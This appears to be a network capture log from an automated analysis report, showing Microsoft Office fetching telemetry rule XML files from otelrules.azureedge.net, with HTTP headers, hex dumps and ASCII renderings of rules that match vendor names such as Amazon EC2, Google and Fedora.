2024-11-16 03:34:03 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 03:34:03 GMT Content-Type: text/xml Content-Length: 479 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:37 GMT ETag: "0x8DC582BB7D702D0" x-ms-request-id: fb68cf1d-a01e-001e-3b01-2d49ef000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T033403Z-16547b76f7f9s8x7hC1DFWywrg00000001x000000000svbx x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-16 03:34:03 UTC	479	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120644" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120643" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
55	192.168.2.4	49886	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 03:34:03 UTC	192	OUT	GET /rules/rule120643v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 03:34:03 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 03:34:03 GMT Content-Type: text/xml Content-Length: 400 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:28 GMT ETag: "0x8DC582BB2D62837" x-ms-request-id: a8264c91-f01e-0052-7a79-369224000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T033403Z-164f84587bfsgfx9hC1DFWw1as000000022g00000000htsq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-16 03:34:03 UTC	400	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4c 6c 5d 5b 47 67 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120643" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120641" /> <SR T="2" R="^([Ll][Gg])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S T="

Session ID	Source IP	Source Port	Destination IP	Destination Port
56	192.168.2.4	49885	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 03:34:03 UTC	192	OUT	GET /rules/rule120641v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 03:34:03 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 03:34:03 GMT Content-Type: text/xml Content-Length: 404 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:39 GMT ETag: "0x8DC582B95C61A3C" x-ms-request-id: 140e2611-e01e-003c-3f87-36c70b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T033403Z-164f84587bfsgfx9hC1DFWw1as000000027g00000000131s x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-16 03:34:03 UTC	404	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4d 6d 5d 5b 53 73 5d 5b 49 69 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120641" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120639" /> <SR T="2" R="^([Mm][Ss][Ii])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S

Session ID	Source IP	Source Port	Destination IP	Destination Port
57	192.168.2.4	49889	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 03:34:04 UTC	192	OUT	GET /rules/rule120646v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 03:34:04 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 03:34:04 GMT Content-Type: text/xml Content-Length: 475 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:28 GMT ETag: "0x8DC582BB2BE84FD" x-ms-request-id: 86e20b26-901e-00a0-18ab-366a6d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T033404Z-1866b5c5fbb5hnj5hC1DFW18sc00000002d0000000009dwh x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-16 03:34:04 UTC	475	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120646" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120645" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
58	192.168.2.4	49888	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 03:34:04 UTC	192	OUT	GET /rules/rule120645v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 03:34:04 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 03:34:04 GMT Content-Type: text/xml Content-Length: 425 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:40 GMT ETag: "0x8DC582BBA25094F" x-ms-request-id: 5a7d27ff-801e-0048-0d40-36f3fb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T033404Z-16547b76f7fljddfhC1DFWeqbs0000000340000000005t6p x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-16 03:34:04 UTC	425	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 4d 6d 5d 5b 41 61 5d 5b 5a 7a 5d 5b 4f 6f 5d 5b 4e 6e 5d 20 5b 45 65 5d 5b 43 63 5d 32 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120645" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120643" /> <SR T="2" R="([Aa][Mm][Aa][Zz][Oo][Nn] [Ee][Cc]2)"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I=

Session ID	Source IP	Source Port	Destination IP	Destination Port
59	192.168.2.4	49891	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 03:34:04 UTC	192	OUT	GET /rules/rule120648v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 03:34:04 UTC	491	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 03:34:04 GMT Content-Type: text/xml Content-Length: 491 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B98B88612" x-ms-request-id: 4e6a8ad7-601e-000d-69a9-362618000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T033404Z-16547b76f7fmcv27hC1DFWgpcg0000000140000000000vvy x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-16 03:34:04 UTC	491	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120648" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120647" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
60	192.168.2.4	49890	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 03:34:04 UTC	192	OUT	GET /rules/rule120647v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 03:34:04 UTC	491	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 03:34:04 GMT Content-Type: text/xml Content-Length: 448 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB389F49B" x-ms-request-id: 0fe31a08-b01e-001e-2cae-360214000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T033404Z-1866b5c5fbb8pmbjhC1DFW6z0c00000002d00000000001wn x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-16 03:34:04 UTC	448	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 50 70 5d 5b 41 61 5d 5b 43 63 5d 5b 48 68 5d 5b 45 65 5d 20 5b 53 73 5d 5b 4f 6f 5d 5b 46 66 5d 5b 54 74 5d 5b 57 77 5d 5b 41 61 5d 5b 52 72 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120647" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120645" /> <SR T="2" R="([Aa][Pp][Aa][Cc][Hh][Ee] [Ss][Oo][Ff][Tt][Ww][Aa][Rr][Ee])"> <S T="1" F="1" M="Ignore" /> </SR>

Session ID	Source IP	Source Port	Destination IP	Destination Port
61	192.168.2.4	49892	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 03:34:04 UTC	192	OUT	GET /rules/rule120649v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 03:34:04 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 03:34:04 GMT Content-Type: text/xml Content-Length: 416 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:21 GMT ETag: "0x8DC582BAEA4B445" x-ms-request-id: ec62ac56-d01e-002b-5482-3525fb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T033404Z-1866b5c5fbbkcpv2hC1DFWf1yc00000002c0000000004w2s x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-16 03:34:04 UTC	416	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 46 66 5d 5b 45 65 5d 5b 44 64 5d 5b 4f 6f 5d 5b 52 72 5d 5b 41 61 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120649" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120647" /> <SR T="2" R="^([Ff][Ee][Dd][Oo][Rr][Aa])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tr

Session ID	Source IP	Source Port	Destination IP	Destination Port
62	192.168.2.4	49893	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 03:34:05 UTC	192	OUT	GET /rules/rule120650v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 03:34:05 UTC	491	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 03:34:05 GMT Content-Type: text/xml Content-Length: 479 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B989EE75B" x-ms-request-id: 4f50471b-101e-0079-73af-365913000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T033405Z-16547b76f7fmcv27hC1DFWgpcg000000011000000000ahbs x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-16 03:34:05 UTC	479	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120650" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120649" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
63	192.168.2.4	49894	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 03:34:05 UTC	192	OUT	GET /rules/rule120651v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 03:34:05 UTC	491	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 03:34:05 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:10 GMT ETag: "0x8DC582BA80D96A1" x-ms-request-id: 7f17f6e1-501e-00a3-5daf-36c0f2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T033405Z-16547b76f7f7zzl8hC1DFWmtag000000014000000000asr1 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-16 03:34:05 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 47 67 5d 5b 4f 6f 5d 5b 4f 6f 5d 5b 47 67 5d 5b 4c 6c 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120651" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120649" /> <SR T="2" R="([Gg][Oo][Oo][Gg][Ll][Ee])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
64	192.168.2.4	49895	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 03:34:05 UTC	192	OUT	GET /rules/rule120652v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 03:34:05 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 03:34:05 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:43 GMT ETag: "0x8DC582B97E6FCDD" x-ms-request-id: 608c19dc-201e-005d-1a7c-37afb3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T033405Z-164f84587bfs5tz9hC1DFW9a3w000000029g00000000e4pd x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-16 03:34:05 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120652" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120651" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
65	192.168.2.4	49896	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 03:34:05 UTC	192	OUT	GET /rules/rule120653v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 03:34:05 UTC	491	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 03:34:05 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:51 GMT ETag: "0x8DC582B9C710B28" x-ms-request-id: b85626fa-d01e-0017-75bb-37b035000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T033405Z-1866b5c5fbbstkfjhC1DFWhdyg00000002cg000000002cad x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-16 03:34:05 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 49 69 5d 5b 4e 6e 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 54 74 5d 5b 45 65 5d 5b 4b 6b 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120653" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120651" /> <SR T="2" R="([Ii][Nn][Nn][Oo][Tt][Ee][Kk])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C 